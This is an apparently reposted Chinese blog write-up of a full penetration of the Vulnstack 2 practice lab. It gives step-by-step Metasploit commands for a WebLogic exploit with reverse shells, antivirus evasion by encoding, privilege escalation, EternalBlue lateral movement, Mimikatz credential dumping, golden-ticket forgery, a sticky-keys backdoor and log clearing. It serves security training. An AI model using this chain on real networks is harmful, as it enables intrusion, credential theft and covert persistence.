主頁 >  其他 > 記錄滲透靶場實戰【網路安全】

記錄滲透靶場實戰【網路安全】

2021-11-08 09:29:21 其他

第一次寫靶場實戰的文章,有不足之處還請多多指教,本次實戰的靶場是紅日安全vulnstack系列的第二個靶場,

靶場地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/

環境搭建

網路環境

image.png

網卡配置

只需要在VM上選擇對應網卡即可,不需要在靶機中進行配置,

DC

IP:10.10.10.10 (VMnet5)
OS:Windows 2012(x64)

WEB

IP1:192.168.111.80 (VMnet6)
IP2:10.10.10.80 (VMnet5)
OS:Windows 2008(x64)

PC

IP1:192.168.111.201 (VMnet6)
IP2:10.10.10.201 (VMnet5)
OS:Windows 7(x86)

開啟靶場

進入C:\Oracle\Middleware\user_projects\domains\base_domain目錄下,雙擊startWebLogic開啟服務,

image.png

外網滲透

我們已知當前Web服務器的公網IP為192.168.111.80,對Web服務器進行埠掃描,以期發現是否有可以利用的埠服務,從而突破邊界,

埠掃描

nmap -sV -Pn -T4 192.168.111.80

image.png

【一>所有資源獲取<一】
1、200多本網路安全系列電子書(該有的都有了)
2、全套工具包(最全中文版,想用哪個用哪個)
3、100份src原始碼技術檔案(專案學習不停,實踐得真知)
4、網路安全基礎入門、Linux、web安全、攻防方面的視頻(2021最新版)
5、網路安全學習路線(告別不入流的學習)
6、ctf奪旗賽決議(題目決議實戰操作)

漏洞探測

通過埠掃描我們發現Web服務器開啟了80、7001等埠,其他埠如445、1433、3389等也可以使用一些RCE漏洞或弱口令直接進入Web服務器,這里我們先訪問Web服務,發現80埠頁面是空白的,在7001埠我們發現Web服務器開啟了Weblogic,嘗試使用WeblogicScan腳本探測漏洞:

python3 WeblogicScan.py -u 192.168.111.80 -p 7001

image.png

漏洞利用

通過腳本探測發現存在CVE-2019-2725,我們可以使用網上的exp,這里我們使用msf自帶的漏洞利用模塊:

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80
set lhost 192.168.111.128
run

image.png

這里還需要在advanced選項中對payload進行簡單的編碼:

setg EnableStageEncoding true
setg StageEncoder x64/zutto_dekiru

image.png

成功回傳meterpreter,

這里我們做編碼的目的是為了繞過360,網上也有一些其它免殺的方式,大家可以自行學習,這里使用的msf的自免殺,使用x64/zutto_dekiru編碼繞過,

權限提升

在我們成功回傳shell后,發現我們當前是普通用戶權限,如果要完全控制這臺機器,需要進一步提權,

切換目錄到C:\Users\de1ay下,使用meterpreter上傳Sherlock腳本:

cd C:/Users/de1ay
upload Sherlock.ps1

[圖片上傳中…(image-d1bca3-1636183507751-34)]

進入shell模式,使用Sherlock腳本探測可用于本地提權的漏洞:

powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1;Find-AllVulns}"

image.png

這里我們通過Sherlock腳本發現存在MS15-051相關漏洞,使用msf自帶的利用模塊提權:

use exploit/windows/local/ms15_051_client_copy_image
set payload windows/x64/meterpreter/reverse_tcp
set session 1
set target Windows x64
set lhost 192.168.111.128
run

image.png

提權成功:

image.png

至此,我們已經成功拿下了邊界服務器的控制權,可以進一步深入內網了,

內網滲透

在進入內網后,我們要明確自己的目標,由于該靶場沒有flag需要獲取,所以我們的目標就是拿下整個域的控制權,明確了目標后,我們就可以針對目標進行資訊收集了,

資訊收集

systeminfo

image.png

ipconfig /all

image.png

通過查詢主機資訊和網路資訊,我們發現該服務器主機名為WEB,處于域環境,并且有兩張網卡,其內網網段為10.10.10.0/24,主DNS服務器IP為10.10.10.10,在域環境中,域控制器往往同時作為DNS服務器,由此判斷,我們要找的域控制器IP很可能就是10.10.10.10

net user
net user /domain
net time /domain

image.png

通過查詢用戶資訊,我們獲取了域成員資訊,并可基本做出判斷域控制器的主機名為DC

ping DC

image.png

通過對DC使用ping命令,我們發現其IP為10.10.10.10,由此我們最終做出判斷該域環境中的域控制器主機名為DC,內網ip地址為:10.10.10.10,并且我們目前控制的這臺Web服務器可以訪問域控制器

net group "Domain Admins" /domain

image.png

net group "domain computers" /domain

image.png

ping PC

image.png

這里我們通過ping PC發現PC機的ip為10.10.10.201,但是沒有回傳資料,說明此處防火墻禁止了ICMP協議,在后面對PC機進行內網滲透時可以考慮其它協議,

至此,我們已經初步完成了內網資訊收集:

該靶場為域環境:de1ay.com
該靶場存在三臺主機:DC、PC、WEB
該靶場存在兩個網段:10.10.10.0/24,192.168.111.0/24
該靶場的域管理員為:Administrator

設定代理

在對內網進行了初步的資訊收集后,我們要開始攻擊內網主機了,但是內網中的機器和我們的攻擊機并不處于同一網路當中,所以要通過Web服務器建立代理,這里有很多內網穿透工具可以使用,如ew、frp、chisel等,我這里直接使用msf建立路由,并開啟socks代理,

建立路由:
route add 10.10.10.0 255.255.255.0 1

image.png

開啟socks代理:
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 9050
set version 4a
run

image.png

配置代理工具proxychains4:
vim /etc/proxychains4.conf

image.png

這樣,我們就可以使用msf以及設定了代理的其它工具攻擊內網中的主機了,

在資訊收集時,我們使用了ping命令簡單探測了一下內網連通性,發現PC機無法ping通,這可能是防火墻阻止了ICMP協議,這里我們通過代理使用nc命令探測,發現可以連通,說明防火墻并沒有阻止TCP協議的流量,

proxychains4 nc -zv 10.10.10.80 135
proxychains4 nc -zv 10.10.10.201 135

image.png

發現防火墻并沒有攔截TCP流量后,我們就可以使用TCP協議進行資料傳輸了,

橫向移動

先掃一下埠,

image.png

發現兩臺機器都開起了445埠,探測以下是否存在永恒之藍漏洞:

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.10
run

image.png

發現兩臺主機都存在該漏洞,嘗試使用msf內置的漏洞利用模塊:

use exploit/windows/smb/ms17_010_psexec
set rhosts 10.10.10.10
set payload windows/x64/meterpreter/bind_tcp
set lport 443
run

域控制器執行成功,域內成員機PC執行失敗:

image.png

至此,我們已成功獲得域控制器權限,

域內成員機PC我們沒有通過永恒之藍漏洞拿下來,這里采用其它方法,首先我們在之前的Web服務器上加載kiwi,提取服務器上儲存的密碼:

sessions 2
load kiwi
creds_all

image.png

我們成功提取到了兩個賬號的明文密碼,但是這里沒有域管理員的賬號密碼,

這里我們使用smart_hashdump模塊提取域控中的哈希:

use post/windows/gather/smart_hashdump
set session 3
run

image.png

成功提取到了域內成員的hash值,并且我們發現域管理員的hash和其它域成員的hash相同,這說明域管理員使用了和域成員相同的密碼(該靶場存在密碼復用,如果密碼不相同,我們可以通過哈希傳遞進行橫向移動),這樣我們可以就獲得了域管理員的賬號密碼,

我們先使用msf生成一個木馬:

msfvenom -p windows/meterpreter/bind_tcp lport=443 -f vbs -e x86/shikata_ga_nai -o /tmp/msf.vbs

然后,將該木馬上傳到已經被我們控制的web服務器上:

upload /tmp/msf.vbs

image.png

進入shell,與PC主機建立IPC$連接:

net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator@de1ay.com

image.png

將上傳的木馬復制到PC機C盤目錄下:

copy msf.vbs \\10.10.10.201\c$

image.png

通過埠掃描我們發現PC開啟了3389埠:

image.png

在msf上開啟監聽:

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set stageencoder x86/shikata_ga_nai
set rhosts 10.10.10.201
set lport 443
run

image.png

連接PC機的遠程桌面,使用域管理員賬號登錄PC,上線msf:

proxychains4 rdesktop 10.10.10.201:3389

image.png

到此,我們已經控制了域內全部主機,

image.png

權限維持

在獲取了域內全部主機權限后,我們進一步來做權限維持,權限維持的方法很多,這里我們演示兩種方式,使用黃金票據來實作域控制器的權限維持,使用粘滯鍵后門實作PC機的權限維持

域控制器權限維持

在之前的資訊收集程序中,我們已經成功獲取到了krbtgt的hash值:

image.png

因為PC機的session沒有進行提權,并且是域成員賬號,可以幫助我們獲取域的SID,所以我們切換到PC機的session,獲取域SID:

whoami /user

image.png

上傳mimikatz到PC機,進入PC的shell模式,發現當前用戶為普通域成員,無法訪問域控制器目錄,

image.png

使用mimikatz生成黃金票據并注入記憶體:

mimikatz# kerberos::purge
mimikatz# kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:administrator.kiribi
mimikatz# kerberos::ptt administrator.kiribi

image.png

成功注入記憶體,我們嘗試訪問域控制器C盤:

dir \\DC\C$

image.png

發現在將票據注入記憶體后,可以成功訪問域控制器目錄,說明黃金票據有效,還有其它域控制器權限維持的方式,這里不進行具體演示了,

粘滯鍵后門

在PC機上使用粘滯鍵后門前,需要先進行提權,這里同樣上傳Sherlock腳本進行探測利用:

image.png

提權成功,

使用msf中的后滲透模塊添加粘滯鍵后門:

use post/windows/manage/sticky_keys
set session 8
run

image.png

痕跡清除

洗掉之前上傳的mimikatz和Sherlock腳本,

run event_manager -c

image.png

結語

關于免殺,我使用的全部是msf的編碼自免殺,64位使用的是x64/zutto_dekiru,32位使用的是x86/shikata_ga_nai,360都沒有攔截,雖然靶機中有360,但是我直接上傳的mimikatz也沒有被殺,所以我有些懷疑是360的版本比較低,除了web服務器上傳的第一個payload,其它都進行了編碼處理,而第一個也確實沒有執行成功,這說明360至少對第一個payload是攔截了的,

本次靶場練習到這里就全部結束了,在權限維持和免殺等方面仍然有很多需要學習的地方,這個靶場總體上比較簡單,在橫向移動和權限維持等方面還有很多方法可以嘗試,由于本人深度沉迷msf,所以這篇文章中的整個滲透程序都是基于msf進行的,大家也可以多多嘗試其它工具和方法,比如CS、Empire等等,

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/352126.html

標籤:其他

上一篇:密碼學復習(上)

下一篇:關于黑馬程式員中TCP通信練習2里客戶端關閉Socket,服務器端會從輸入流中讀取到null,結束回圈

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more